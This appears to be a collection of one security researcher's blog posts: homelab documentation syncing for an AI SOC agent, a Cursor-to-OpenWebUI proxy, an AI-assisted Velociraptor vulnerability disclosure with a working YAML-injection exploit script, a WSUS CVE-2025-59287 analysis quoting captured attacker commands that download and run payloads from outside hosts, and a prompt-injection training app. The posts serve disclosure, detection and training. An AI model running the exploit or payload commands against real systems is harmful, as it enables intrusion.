Background

In 2016-2017, I started with an ESXi on a PC. I used it for simple sysadmin exercises like running AD and network pentesting. After a while I needed more resources, so I invested in my first real server. I purchased it in 2019 and documented the upgrades. That was the start of the addiction.

That addiction started with Terraform, Ansible, and other IaC solutions. They gave me the ability to start deploying everything, developing, testing.. etc. With time, the number of servers and services grew, my type of work required additional skills to learn, and I got into building SaaS products, deploying more stuff publicly and maintaining all of that. I found myself with a large continuously changing infrastructure with many components but no documentation. Just to give you an idea of the mess, pfSense holds 276 rules, 104 aliases, 77 NAT entries and 199 DHCP maps, and the infrastructure has 180 VMs, 7 VLANs and a WAN.

I did attempt to document it in the past, but the docs drifted. With time, the live infrastructure got further from what I had written down. Maybe a big reason is that nobody else needed them, so I had no reason to share them. I always told myself I would get back to it one day and re-document everything.

The straw that broke the camel’s back came after I started using AI agents to triage my SIEM and EDR alerts (AI-SOC-Agent). I discovered that I was wasting a lot of time explaining things and documenting notes manually in a non-standard way in multiple places so that SamiGPT could understand the infrastructure while triaging. If you have seen that project, you will notice that it uses a knowledge base (KB skills) to fetch data about the infrastructure it’s working on. I used it heavily. But it wasn’t practical by itself. The “knowledge base” was just JSON files holding basic info about the infra, and they were not synced with any of the live data sources. It wasn’t the best appraoch for a changing environment. It was a bit annoying coming back to 200+ approval requests made by the agent every day, and all of them were just FPs. The causes were always the same. The agent flagged traffic from my C2 practice network, CTF and pentest zones as real attacks. It also flagged Tailscale clients connecting to their VMs. It couldn’t tell rogue devices from the 199 DHCP maps. It had no idea which hosts were disposable and which ones mattered (vCenter, ESXi, NAS, Nessus, the SIEM, etc.). Most of that was in my head and was not provided to the agent in a good way.

An idea came to my mind, maybe I can just give an AI read access to all the data sources I have and ask it to write me something sustainable that does the documentation based on the changes made on vCenter, pfSense, and the traffic passing through the routers. Then I can improve it manually when needed. This is what started this whole workflow. Hopefully someone will benefit from this and start following similar steps.

The rest of this post covers what I gave the AI read access to, and how it turned out.

Note

This post is written for a human to follow. The steps below are meant to be completed manually to create the read-only access, which can then be provided to your agent to handle the actual setup. Once the access is ready, you can prompt your way through the rest of the setup.

Workflow

n8n workflow

I decided to have pfSense post its config to n8n, let n8n pull data from vCenter and ntopng, do the processing, and run it as a scheduled task to update the docs daily/weekly/monthly.

The built workflow does the following:

1. Inventory sync: Re-pulls vCenter and ntopng data on a schedule.
2. Config ingest: Receives the redacted pfSense config file.
3. Drift check: Compares live state against NetBox.
4. Sync: Updates NetBox.

Yup, that easy.

pfSense config.xml to n8n

1. Add an HTTP receiver in the n8n workflow.
2. Write a simple Perl script to
   • Copy config.xml into a safe place on pfSense.
   • Run redaction instructions to remove sensitive strings such as tokens and passwords.
   • Post redacted-config.xml to n8n.
3. Add the script as a cron job on pfSense.

Here is an example of that script.

OR install the REST API package on pfSense. I wouldn’t recommend that since it’s not officially supported by Netgate yet. That’s not what I did but it’s an option if you are feeling frisky.

vCenter

When it comes to vCenter, the workflow only reads. It opens a session, lists the VMs, reads each VM’s NICs and guest details, and closes the session. The following are the steps you need to follow to create a read-only user on vCenter:

1. Create the user in the SSO domain. In the vSphere Client: Administration > Single Sign On > Users and Groups > Users, pick the vsphere.local domain, and add netbox-ro.
2. Give it a role. A new SSO user can’t see any inventory until it has one. Right-click the vCenter in the inventory tree > Permissions > Add. Pick vsphere.local, netbox-ro, the built-in Read-only role, and tick Propagate to children (I missed the “Propagate” part and it didn’t work, so don’t).
3. Log in to the vSphere Client as netbox-ro. Open a VM’s Actions menu.

ntopng

The workflow makes two ntopng calls, both GET: host/active.lua for the host list and host/data.lua for each host. The token goes in an Authorization: Token header.

An ntopng token belongs to a user, and a user has at most one. The token only works against the REST API. The GUI ignores it. So the read-only part is the user, not the token: make a non-privileged user, then generate its token.

1. Add the user. Settings > Users > Add User. Username netbox-ro, role Non Privileged User.
2. Generate the token. Settings > User > Edit netbox-ro > User Authentication Token > Generate Token. Copy it once and put it where the workflow reads it.

Loading it into NetBox

The workflow should run periodically and only create and update objects. Nothing already in NetBox should be deleted.

Each run should do the following:

1. Load the stored redacted pfSense XML.
2. Parse it: interfaces, DHCP static maps, aliases, OpenVPN clients and servers, and the Tailscale package (parse_pfsense.js in my code).
3. Pull active hosts from ntopng: /lua/rest/v2/get/host/active.lua.
4. Log in to the vCenter REST API and pull every VM with its NIC MACs, guest OS and hostname (fetch_vcenter_nics.js in my code).
5. Join everything into one inventory (join_inventory.js).
6. Pull the ntopng details for each matched host: /lua/rest/v2/get/host/data.lua.
7. Create the NetBox scaffolding if it’s missing (ensure_foundation.js in my code).
8. Upsert every asset (sync_all_assets.js in my code).
9. Post a summary message: inventory count, new VMs, new physical hosts, updated objects, errors.

The code can be found here and here is the workflow in n8n:

If you want more details about the workflow, I’m sure you can ask your agent and it will summarize and help with the setup.

What it doesn’t do

• It never deletes. A VM removed from vCenter stays in NetBox until I remove it manually.
• It knows nothing about trust tiers or purpose, so you will need to edit those objects in NetBox yourself. A short paragraph for each subnet will do. (At least for me)

The results

Now, I can keep track of things. My agent (the fun part) can query info about servers, understand the segregation, know what VMs have static IPs and which are random DHCP test VMs. It can look up which subnet an alert’s IP lives in and read the note I wrote for that subnet, so traffic from the C2, CTF, pentest and EASM zones has an explanation. It can check whether a MAC and IP pair has a pfSense DHCP map (those VMs carry the source:pfsense tag). It can read what ntopng last saw for a host (protocols, traffic volume, score) and whether the VM is powered on.. etc. If you are curious how it knows all of that, the answer is that I gave the agent access to a new set of NetBox skills that teach it how to work with and navigate NetBox. For more details about the skills, check v0.2 of the agent: SamiGPT.

Here is a slice of that inventory. It lists the VMs that the workflow added/updated from vCenter:

Another cool thing is that, with all that documentation, you can ask your agent to build a network topology, run a network threat model, and show what’s beyond the L3 layer like Tailscale at the application layer (Tailscale traffic doesn’t go through pfSense firewall rules so it’s blind spot but the config file so that’s a win).

A tip: I found that draw.io diagrams don’t get generated well by AI. For some reason, the XML files are hard for it to construct, so I found that the easiest way to draft a high-resolution network topology (it matters when you have 200+ nodes) is with Graphviz DOT files. For me, this was a game changer. Here is a quick prompt I use:

Use Graphviz DOT (`.dot`/`.gv`) to create a clear, professional network topology for [reason]. Include all relevant components, connections, zones, and labels. Keep it clean, organized, and easy to understand. Then render the DOT file as a high-resolution PNG with readable labels and good resolution. Output both the `.dot` file and `.png` file.

Finally, before starting, I did some quick research on how to resolve this with existing “wheels”. I found open-audit, which I think can be a good solution if you want to also have visibility on AD objects and policies, and maybe hardware too. The main con to me is Nmap. I didn’t want to run more active scanners inside the network since I’m already maxing out my bandwidth so I decided to keep it simple and go with a sync workflow.

FIN

Repo: https://github.com/M507/curapi

The problem

I use Cursor heavily for coding. I also still want a normal chat surface for research, drafting, and random questions that do not belong inside an editor. For me, that used to be ChatGPT. Claude, on the other hand, was the best one for connecting to MCP servers and drafting Word and Excel files. Paying two other subscriptions just to reach different models and get a nicer chat experience is a waste of money. So the goal was simple: One place to talk to models, reuse what I already pay for.

The approach

OpenWebUI needs an OpenAI-compatible backend. Cursor, as far as I know, does not ship one. The only usable hook I had was the Cursor CLI (agent), already authenticated against my subscription. So I wrote curapi: a small proxy around that agent binary that exposes /v1/chat/completions and /v1/responses for OpenWebUI to call.

Hands-on Part

Same box for everything below: Docker for OpenWebUI, curapi + Cursor CLI on the host. The UI lives in a container. The proxy and agent stay on the host.

1. OpenWebUI via Docker

Official image, persistent volume, UI on port 3000 (¹):

docker pull ghcr.io/open-webui/open-webui:main

docker run -d \
  -p 3000:8080 \
  -v open-webui:/app/backend/data \
  --name open-webui \
  --restart always \
  ghcr.io/open-webui/open-webui:main

Open http://localhost:3000, create an admin account, and log in. Below is what it looks like after login:

2. Cursor CLI + curapi on the host

Install the Cursor CLI on the host (same machine as Docker), authenticate, then put curapi in front of it.

# macOS / Linux
curl https://cursor.com/install -fsS | bash

agent login
agent --list-models

Headless box? Skip the browser login, generate a key at cursor.com/settings, and put it in ~/.curapi/env.json as cursor_api_key later.

Build and install curapi (²):

git clone https://github.com/M507/curapi.git
cd curapi
make build
make test
make install          # ~/.local/bin/curapi
curapi install        # user service (LaunchAgent / systemd / Task Scheduler)
curapi status

First start creates ~/.curapi/env.json (mode 0600) and prints an auth token once. Save it. That token is what OpenWebUI will send as the API key.

Sanity check from the host before you touch the UI:

TOKEN=$(python3 -c 'import json,os; print(json.load(open(os.path.expanduser("~/.curapi/env.json")))["authz_tokens"][0])')

curl http://127.0.0.1:4646/health

curl -X POST http://127.0.0.1:4646/v1/chat/completions \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"model":"auto","messages":[{"role":"user","content":"ping from curapi"}]}'

You want a JSON chat completion back, not a connection refused. If HTTPS is on (default), 4647 works too with curl -k. Prove the proxy here. OpenWebUI is just another client.

3. Point OpenWebUI at curapi

Inside the container, 127.0.0.1 is the container itself, not your host curapi. From Docker Desktop (macOS/Windows) use host.docker.internal. On Linux, add that host mapping, use --network host, or point at the host LAN IP.

In OpenWebUI (admin):

1. Open Admin Panel → Settings → Connections (OpenAI / OpenAI-compatible connection; wording moves a bit between versions).
2. Add a connection:
   • URL: http://host.docker.internal:4646/v1
     (host-network Linux: http://127.0.0.1:4646/v1)
   • API key: the token from authz_tokens in ~/.curapi/env.json
   • API type: Chat Completions (POST /v1/chat/completions) or Responses (POST /v1/responses). Both are implemented.
3. Save / verify. Pull models if the UI has a refresh. You should see Cursor-side IDs such as auto, composer-2.5, and Opus/Sonnet/GPT variants, whatever agent --list-models returned when curapi refreshed /v1/models.

4. Auto and other named models

For day-to-day usage, I do not care which model it picks. I set the model to auto and let Cursor decide what is best and cheaper for me.

Cursor’s usage log shows those calls as auto, marked Included under the cheapest plan they have.

When I do want a specific model, I open the picker. Under the Cursor connection it is a long list, and you can pick Codex variants, Opus, etc.

As an example, I picked claude-opus-5-low in the screenshot below, asked it what it is, and it said Claude Opus 5:

You can also see that the Cursor usage page lights up the same id a few seconds later.

Final thoughts

I used to pay for ChatGPT Plus, Claude Pro, Cursor Pro. Same three invoices every month. This setup cuts that down. It keeps Cursor for coding and puts OpenWebUI in front for everything else including my AI-enabled projects like RamiGPT (³) and SamiGPT (⁴). Through curapi you get Claude, GPT, Grok, Composer, and the rest out of the Cursor bill you already pay. Day to day leave it on auto and when you care, pick what you need from the list.

The reason I keep Cursor is their editor. I did not like VS Code plus Copilot or whatever plugin stack is trendy this month. For me Cursor is clearly better at that coding loop and it feels built around it instead of a stupid plugin that just waits for ` ``` `. I want the IDE for code and, MCP-enabled API, and a normal chat UI for everything else.

I’m sure some will ask why don’t I just use OpenRouter (⁵). Fair. It is the clean path: one OpenAI-compatible key, hundreds of models, pay per token, drop it straight into OpenWebUI with no local proxy. If you are not already paying for Cursor, or you want a real usage meter and model shopping, OpenRouter is probably the better consumer move. If Cursor is a sunk cost you keep for the editor or find it hard to change, burning its included / auto pool for chat is usually cheaper than stacking another token bill on top. And ofc, that would change if you burn through the plan on Opus models all month. Then both Cursor and OpenRouter bill you like a normal API. In my case, I wanted fewer invoices, not a better marketplace, so I went Cursor + curapi.

Also, note that I vibecoded curapi so I cannot guarantee its security. Treat it as a personal localhost bridge, not something you expose on 0.0.0.0 without reviewing the code yourself.

Issues / PRs welcome on the repo.

References

Official advisory: CVE-2026-8795 (¹)

Why I ran this experiment

I like to keep up with newly assigned CVEs for major products and CVEs with specific keywords. Lately I noticed that the volume is insane. A quick Googling shows more than 48k CVEs in 2025 (²). I also keep seeing headlines that AI is “good at code review” and that security folks are using it to find vulns. Even though I’m building systems that use AI, like RamiGPT (³) for OffSec operations and SamiGPT (⁴) for SOC operations, I never cared to examine the code-reviewing power of AI. I also noticed the stock market and the recent changes over the last year. With every new Anthropic announcement that touches cybersecurity, the whole cybersecurity sector shakes a little. All of that made me think, but I still never cared enough to actually try it myself.

During an incident response engagement, a colleague opened Claude, pointed it at a target we suspected might have a critical unreported bypass, and had it rebuild the same infrastructure the client was running. My colleague guided Claude until it found the issue, exploited it, and pwned the admin account and the environment. The whole thing took under thirty minutes. After that engagement wrapped, I couldn’t stop thinking about how cheap that workflow had gotten for attackers. So I wanted to run my own test on something I actually understand.

Before AI, when I used to pentest and do vulnerability research, a single critical bug on a popular product could eat hours or a whole weekend. You read until the code made sense, fought dependencies, triaged a pile of dead ends, and maybe.. just maybe.. you found a meaningful lead that might lead to something. The painful part was rarely “confirming the bug.” It was setting the env up, triggering an insane amount of leads from SAST and other dynamic scanners, the missed edge cases that cannot be automated, and the unreadable paths. It was building the automation system that can mass scan and the time it took the user to triage 100k of leads. So it wasn’t the headlines, CVEs, or the stock market that triggered my curiosity. It was how efficient the process looked. I know how much time it used to take me to find a real bug, so I wanted to see how much of that grind an agent would save a researcher, and whether it could give me something close to a real finding.

Setup

The session prompts

I started with an edited version of this security-review prompt (⁶). Then simply asked: clone the repo, review it like a security researcher, and only flag issues with real impact. Note: the repo is worth a visit. Grab a few of the roles from that repo. I keep mine in Raycast (⁷) snippets so I can drop them into a session fast.

First I had it look at image read/parse paths. Noisy pass, mostly low-severity stuff, so I changed direction. I pointed it at features I already use day to day (config repack, velociraptor --remap, and deaddisk) on the hunch that fewer people had poked there. Claude can search the code. You still have to tell it where to look and guide it.

Here’s what I actually typed (typos and all). Claude’s side of the conversation was removed since it shows many leads and I’m afraid some of them might be TP.

1. Broad review

    As a code review expert, your role will be to carefully examine the code for
    potential security flaws. This may include identifying common coding mistakes
    that could lead to vulnerabilities. Your expertise in network security, memory
    corruption, web application security will be particularly valuable in ensuring
    that any code developed meets the highest security standards.
   
    Install: https://github.com/Velocidex/velociraptor and start testing it. Find
    issues in its ability to read images and parse stuff only find real issues with
    actual impact.
   

2. Pivot to features I already use

    for now, I want you to test the config repack function, if it's possbile to do
    somethig bad with it.
   
    or if it's possbile to do something with the remapp velociraptor --remap
    remapping_img1.yaml --config client.config.yaml client -v
    --config.client-writeback-linux=/tmp/remapping.writeback_ssh.yaml
    --config.client-local-buffer-disk-size=0
   

3. Push harder on impact

    focus on the repack maybe if someone passes somthing bad you can somehow
    execute a command on the system using velo or damage velo or do something out
    of its scope. Find vulns
   

4. Threat-model question (.dd vs normal workflow)

    is it possbile to make it generate a bad remaping yaml via a normal usage like
    this "velociraptor -v deaddisk --add_windows_disk full_image.dd
    remapping_img1.yaml" meaing the dd file can do that somehow
   

   That’s where it got interesting: not the .dd path, but a crafted collection ZIP feeding Windows.Collectors.Remapping.

5. PoC bar

    create a crafted zip file that can create a file in /tmp/ called works.txt with
    the content works. and create a readme to how to run it after you test it.
   

   ---

The results

Analyst-targeting bug. YAML injection in Windows.Collectors.Remapping, triggered by a crafted collection ZIP. Code execution on the analyst’s box when they apply the generated remapping with --remap.

Windows.Collectors.Remapping reads client_info.json from inside a collection ZIP and substitutes the Hostname field into a text/template string that becomes YAML:

hostname: "{{ .Hostname }}"

The hostname comes from inside the ZIP and was never YAML-escaped before the template expanded. Stick a literal " and a few newlines in there and you break out of the quoted string. Inject a new - type: mount block, scope: field and all.

When an analyst runs velociraptor --remap …, startup validation on that path uses NullACLManager. VQL inside scope: runs with broad permissions (EXECVE included in the path we traced). A field that looks like a hostname can end up driving code execution on whoever is doing the analysis.

PoC

1. Create the crafted collection ZIP:

    python3 create_zip.py
    # Creates crafted_collection.zip with malicious client_info.json
   

2. Run the artifact (analyst’s normal workflow, Step 1):

    velociraptor artifacts collect Windows.Collectors.Remapping \
      --args ZipPath="$(pwd)/crafted_collection.zip" \
      --args WriteRemappingPath=/tmp/remapping_injected.yaml \
      --args Upload=N
   

   This reads the hostname from the ZIP, renders the template, and writes remapping_injected.yaml containing the injected mount entry with its scope VQL.

3. Apply the remapping (analyst’s normal workflow, Step 2):

    velociraptor --remap /tmp/remapping_injected.yaml \
      artifacts collect Generic.Client.Info
   

   Any artifact works here. The payload fires before the artifact even starts. applyRemapping() runs as a startup config validator (WithCustomValidator in bin/main.go:200), during config load, not when the command executes. By the time Velociraptor picks an artifact to run, the scope VQL has already fired.

   So this isn’t tied to one specific artifact. All of these trigger it:

    # The example from the documented analyst workflow:
    velociraptor --remap /tmp/remapping_injected.yaml \
      artifacts collect Windows.Registry.Hunter --args RemappingStrategy=None
   
    # Or any other artifact:
    velociraptor --remap /tmp/remapping_injected.yaml \
      artifacts collect Windows.System.TaskScheduler
   
    # Even a query that does nothing:
    velociraptor --remap /tmp/remapping_injected.yaml \
      query "SELECT 1 FROM scope()"
   

4. Verify execution:

    cat /tmp/works.txt
    # works
   

   The file /tmp/works.txt is created during --remap startup validation, before any artifact query runs.

The create_zip.py script:

#!/usr/bin/env python3
"""
Creates a crafted Velociraptor collection ZIP that exploits the YAML injection
vulnerability in Windows.Collectors.Remapping (CVE candidate).

The hostname field in client_info.json flows through text/template into a YAML
template without escaping. A hostname containing a literal " followed by newlines
breaks out of the YAML quoted string and injects new remapping entries.

The injected mount entry has a `scope` field — VQL executed by evaluateScopeQuery()
with NullACLManager when --remap is applied. This creates /tmp/works.txt.
"""

import json
import zipfile
import os

OUTPUT_ZIP = "crafted_collection.zip"
MALICIOUS_HOSTNAME = (
    'VICTIM"\n'
    '- type: mount\n'
    '  scope: |-\n'
    '    LET x <= copy(filename="works", accessor="data", dest="/tmp/works.txt")\n'
    '  from:\n'
    '    accessor: file\n'
    '    prefix: /\n'
    '  "on":\n'                 # quoted because bare on: is coerced to bool by YAML 1.1
    '    accessor: auto\n'
    '    prefix: /\n'
    '  description: "x'         # valid RemappingConfig string field, absorbs template's closing "
)

client_info = {
    "Hostname": MALICIOUS_HOSTNAME,
    "hostname": MALICIOUS_HOSTNAME,
    "OS": "windows",
    "Platform": "windows",
    "Version": "10.0.19041",
}

with zipfile.ZipFile(OUTPUT_ZIP, "w", zipfile.ZIP_DEFLATED) as zf:
    # client_info.json at root; read by the artifact's CollectionHostinfo query
    zf.writestr("client_info.json", json.dumps(client_info, indent=2))

    # Satisfy the artifact precondition:
    #   SELECT * FROM glob(globs="/uploads/{auto,file,ntfs}", ...)
    zf.writestr("uploads/auto/C:/dummy.txt", "placeholder")

    # Satisfy AllDrives query:
    #   SELECT * FROM glob(globs="/uploads/*/*", ...)
    zf.writestr("uploads/file/C:/dummy.txt", "placeholder")

print(f"[+] Created {OUTPUT_ZIP}")
print(f"[+] ZIP contents:")
with zipfile.ZipFile(OUTPUT_ZIP) as zf:
    for name in zf.namelist():
        print(f"      {name}")

print()
print("[+] Injected hostname value (what client_info.json contains):")
print("    " + repr(MALICIOUS_HOSTNAME[:80]) + "...")
print()
print("[+] After text/template renders hostname: \"{{ .Hostname }}\":")
print('    hostname: "VICTIM"')
print('    [NEW ENTRY] - type: mount')
print('      scope: LET x <= copy(...) -> writes /tmp/works.txt')

What I did vs what Claude did

I picked the target, set the trust-boundary questions, wrote and rewrote prompts, killed the junk leads, steered into remap/repack/deaddisk, asked for a PoC, and pushed a suggested fix with the report.

Claude did the hard part. Crawled the repo, found the lead, followed the chain from Windows.Collectors.Remapping through text/template into --remap startup, and explained why NullACLManager changed the impact story. Wrote create_zip.py, hit YAML 1.1 and template-quoting problems, worked through them, kept iterating until the PoC worked, then wrote up a report and proposed a fix.

Bug report timeline (GitHub Security Advisory)

Interesting points

When I started writing this, Linus Torvalds shipped Linux 7.1-rc4 (LKML, 2026-05-17) (¹⁰) and called out exactly this workflow:

“The continued flood of AI reports has basically made the security list almost entirely unmanageable, with enormous duplication due to different people finding the same things with the same tools. […] AI detected bugs are pretty much by definition not secret, and treating them on some private list is a waste of time for everybody involved.”

I agree, what made this finding feel “fast” is also what makes it un-special. Popular project. Popular agent. Public prompt with some edits. Anyone with a Claude Pro sub and a free afternoon can probably run the same workflow and hit the same bug.

I shared Linus’s post with Scudette (⁹), Velociraptor’s maintainer, and asked if they’re seeing the same thing. His reply, quoted as he wrote it:

“We did get a flood of AI reports too. But I dont think we are as large as Linux so probably the code surface is much smaller. The reports are not so many and are mostly helpful.

Some of the reports show a misunderstanding of the Velociraptor permission model so it does take some time to explain it - but I think this shows a lack of documentation around these issues so it is more an investment. Next time someone raises a similar issue we already have a reply for it. I guess if we get a flood of these then it would be simpler to just point people at the docs and close the report.

We did get a couple of real issue duplicates as well. I totally get Linus saying that AI bugs are probably public anyway because others could find the same thing.”

So what I took from that is that the pain is volume, some true positive duplications, and documentation gaps that still need work. And on a mid-size project like Velociraptor, most of the reports are actually helpful. And yeah, I agree. Linux kernel is a special case. If your whole vuln-research practice is pointing an AI at a super popular, critical codebase like the kernel, you’re probably wasting your time.

However, not every GitHub repo is Linux. Most codebases are under-tested. To land in the helpful pile instead of the flood pile. You should just pick something you understand, search issues and advisories first, reproduce end-to-end, ship a working PoC with a suggested fix. Yeah, 99% of the time your suggestion is probably BS and will not help the maintainers but try anyway. Still better than saying your baby is ugly and leaving.

Tips

If you’re going to try this:

• Fork and customize something like DummyKitty/Cyber-Security-chatGPT-prompt (⁶) so the agent is biased toward real unique impact.
• Pick a project whose threat model you already understand. Domain knowledge is how you filter slop.
• Point it at routes, commands, and/or features you actually use, that’s where “maybe under-reviewed” often lives.
• Feed it docs if you have them.
• Search the tracker and advisories for that area before you write anything.
• Reproduce the bug end-to-end on a clean machine.
• Push a suggested fix. It’s just a prompt away. It helps the maintainer and shows respect. (Remember, maintainers don’t work for you.)
• Use the project’s preferred channel (GHSA, security.txt, vendor form, whatever they ask for).
• If it is a duplicate, take the L. A Claude subscription doesn’t make you the first finder.

Final thoughts

This whole experiment started after I watched a colleague use Claude during an IR engagement, and maybe that’s how the attacker found the bug too. Same agent, same “stand up the stack and hunt” workflow. We don’t know for sure. Hard not to picture the other side running the same playbook at scale. Easy 0-days keep getting easier to find.

Good and bad news for incident responders: you’re only going to get busier. Cheaper bug hunting and faster PoCs mean more weaponized issues and more real-world mess in someone’s queue. Your job isn’t disappearing the way the AI CEOs have been saying : )

Last thing: be helpful. AI makes finding bugs cheap but triaging your report is still expensive for someone else. Read the docs, reproduce the bug, ship a PoC, suggest a fix, use the right channel. Do the work on your side so you land in the helpful pile, not the flood.

References

While conducting reconnaissance around a month ago, I received a scan result indicating that a target server might be vulnerable to CVE-2025-59287 (¹). I reviewed the CVE scan rule and found it too generic and not helpful. I then examined multiple proof-of-concept implementations across various GitHub repositories, but since the target server was critical, I did not want to execute any of them without fully understanding their impact and potential side effects.

This motivated a quick investigation. I decided to build a VM with the vulnerable WSUS service, rewrite and test a proof-of-concept, and thoroughly understand the vulnerability’s mechanics and impact.

The first roadblock I faced was the confusion between CVE-2025-59287 and CVE-2023-35317, a confusion that appears to be widespread across multiple blog posts. I read multiple posts and GitHub repositories discussing CVE-2025-59287, and most of them referenced HawkTrace’s initial blog post as their primary source (²). When I began investigating CVE-2025-59287 following the HawkTrace blog post, I failed to notice the header disclosure that corrected the CVE number, which led me down the wrong path.

After further reading, I came across the Code White blog post, which was the only resource that clearly explained the distinction between the two CVEs. Their analysis showed that the BinaryFormatter deserialization path maps to CVE-2023-35317, not CVE-2025-59287. That finally explained why I could not find the right vulnerable lines, chasing the wrong vulnerability and banging my head against the wall. The actual CVE-2025-59287 issue abuses a SoapFormatter deserialization path instead.

With this clarification, I was able to find the vulerable lines and I constructed an isolated test environment to validate the vulnerability, capture execution traces, and review the PoC’s artifacts.

Technical Overview

To understand why the vulnerability exists and how it can be exploited, At a high level, the WSUS reporting service introduced a SoapFormatter deserialization call that processes attacker-controlled MiscData content in the ReportEventBatch SOAP method without adequate input validation. For readers who want a full code-level walk-through of the vulnerable control flow and patch diff, refer to the Code White analysis (³).

The window of exposure that existed between the October 14, 2025 Patch Tuesday release and the out-of-band remediation. This window is the period when vulnerable WSUS servers were exposed to exploitation before Microsoft released the emergency patch.

Detailed Findings

After understanding the vulnerability’s technical foundation, I needed to validate that exploitation was actually possible and document the specific payload construction requirements. I manually reviewed published PoCs, including the th1n0 repository (⁴). I quickly noticed that it is fake: instead of implementing a real exploit chain for CVE-2025-59287, it hides and executes arbitrary malicious code inside a helper function named _initialize_core().

I found this interesting and posted about it on LinkedIn, where Michael Gorelik mentioned this threat analysis: PyStoreRAT Threat Analysis.

I also checked HawkTrace’s gist (⁵), which appeared to follow the right steps to hit SoapFormatter, so I edited a couple of things and tested it to understand how successful exploitation would impact a vulnerable server. The final working PoC here: CVE-2025-59287 PoC repository.

The final PoC uses a SoapFormatter compatible payload generated using ysoserial.net, embedded into the MiscData key path consumed by the WSUS reporting service. Successful exploitation results in w3wp.exe spawning child processes under the WSUS application pool identity (Network Service).

The debugging workflow involved verifying that the MiscData key was parsed correctly, confirming that the Base64 payload was converted and observing the call flow into SoapUtilities.DeserializeObject.

Exploitation in the Wild

Out of curiosity, I wanted to see how threat actors were exploiting it in real-world scenarios. For this, I deployed a honeypot for around one week to capture active exploitation attempts. The honeypot captured all HTTP request bodies, which are available here: CVE-2025-59287 Honeypot repository.

The following malicious payloads were observed:

~/c certutil -urlcache -f http://79.124.40.162:8080/xUEZ93IVKeI10luC9TAueQ %TEMP%\LDwMwEhji.exe & start /B %TEMP%\LDwMwEhji.exe
/c powershell.exe -c "iwr 'https://github.com/reika911/SMTP-mail/raw/refs/heads/main/ufs.exe' -OutFile %TEMP%\ufs.exe; Start-Process %TEMP%\ufs.exe"
/c msiexec /i https://github.com/reika911/SMTP-mail/raw/refs/heads/main/1234.msi /quiet /qn || bitsadmin /transfer myJob /download /priority normal https://github.com/reika911/SMTP-mail/raw/refs/heads/main/1234.msi %TEMP%\1234.msi && msiexec /i %TEMP%\1234.msi /quiet /qn
/c cmd /c bitsadmin /transfer myDownloadJob /download /priority normal https://github.com/reika911/SMTP-mail/raw/refs/heads/main/sd.exe %TEMP%\sd.exe && %TEMP%\sd.exe

These patterns are typical post-exploitation behavior where attackers leverage WSUS’s privileges to perform their next activities. I haven’t had time to reverse engineer the captured implants, but I’m sharing the raw payloads here for the community to examine and use for detection research and threat intelligence.

Detection

After successfully confirming the CVE and its exploitability, I decided to review the logs to see how to detect exploitation attempts. I recommend reviewing the following resources which provide comprehensive detection queries:

• Aditya Bhatt’s Detection Repository — Contains detection queries and analysis tools for monitoring WSUS exploitation attempts
• Huntress Detection Guide — Includes KQL queries, Sigma rules, and detection patterns for identifying CVE-2025-59287 exploitation

In addition to the resources above, I found another exploitation detection method. While reviewing WSUS logs, I noticed that BinaryFormatter.Deserialize appears in error lines within C:\\Program Files\\Update Services\\LogFiles\\SoftwareDistribution.log. Based on this, I wrote and tested the following Velociraptor artifact that detects exploitation attempts by scanning for these signatures:

name: Windows.Detection.WSUS
description: |
  Checks WSUS service status, pulls all log lines from SoftwareDistribution log file,
  and detects CVE-2025-59287 exploitation attempts by scanning for BinaryFormatter.Deserialize
  signatures.
author: Mohammed Alshehri Github.com/M507
type: CLIENT
parameters:
  - name: SoftwareDistributionLog
    default: "C:\\Program Files\\Update Services\\LogFiles\\SoftwareDistribution.log"
sources:
  - name: WsusServiceState
    query: |
       SELECT Name,
              State,
              StartMode,
              PathName
       FROM wmi(
         query="SELECT Name, State, StartMode, PathName FROM Win32_Service WHERE Name='WsusService'")


  - name: AllSoftwareDistributionLines
    query: |
       LET target_path = expand(path=SoftwareDistributionLog)
       SELECT target_path AS Path,
              offset + 1 AS LineNumber,
              Line
       FROM parse_lines(filename=target_path)


  - name: ExploitationAttempts
    query: |
       LET target_path = expand(path=SoftwareDistributionLog)
       SELECT target_path AS Path,
              offset + 1 AS LineNumber,
              Line
       FROM parse_lines(filename=target_path)
       WHERE Line =~ "BinaryFormatter\\.Deserialize"

Conclusion

The ReportEventBatch SOAP endpoint exposes a SoapFormatter deserialization sink that processes attacker-controlled input without proper validation. The service runs as NETWORK SERVICE on IIS 6.0 and 7.0, limiting payload privileges but still allowing file writes, command execution, and follow-on payload deployment.

The honeypot that was deployed captured active exploitation attempts, confirming that threat actors are actively targeting this vulnerability in the wild. These activities along with Huntress and CISA reports show the need for immediate patching (⁶, ⁷).

For detection guidance, review Aditya Bhatt’s Detection Repository and Huntress Detection Guide.

For fast incident response triage, review error lines within C:\\Program Files\\Update Services\\LogFiles\\SoftwareDistribution.log.

References

Prompt injection, a technique where malicious input is injected into the prompt given to a language model, opens the gateway to potential exploitation. By manipulating the input, attackers can force the model to produce unintended and often harmful outputs, posing a severe threat to the integrity of information processed by these models. To effectively address this vulnerability, testers have started immersing themselves in hands-on practice, simulating real-world scenarios to strengthen their test techniques.

Personally, I practiced my prompt injection skills through two challenges: Gandalf [2] and Immersive Labs GPT [3]. The objective of these challenges was to trick a language model into revealing a secret password by using injection techniques while avoiding detection. I found these challenges enjoyable to solve, but not enough, so I decided to dive deeper and write a vulnerable prompt application (Thank you, ChatGPT :smiley face:) and release it as an open-source project. I called the application HackMeGPT.

Like Gandalf, HackMeGPT is an interactive LLM app that aims to create a challenging environment for participants to navigate. As users progress through the ten levels, they are confronted with increasingly stringent instructions and enhanced defense techniques designed to fortify the chatbot’s resilience against malicious manipulations. Let’s delve deeper into each defense mechanism:

Input Validation: HackMeGPT uses input validation to filter out obvious malicious user inputs. With each advancing level, the system implements a more extensive blocklist, refining its ability to identify and block potentially harmful commands or queries.

Input Sanitization: Certain levels of HackMeGPT incorporate input sanitization techniques, neutralizing elements within user inputs that could potentially be used as delimiters. This adds an extra layer of security by ensuring that only safe and sanitized inputs are processed.

Output Monitoring: HackMeGPT utilizes output monitoring mechanisms. These guards analyze the AI’s behavior, cutting responses to any activity deemed suspicious. This real-time monitoring ensures a proactive response to emerging risks.

Articulated the Desired Output: HackMeGPT precisely directs the AI not to share the secret at certain levels. This mechanism should use the model’s power to hinder the user’s ability to exfiltrate the targeted data.

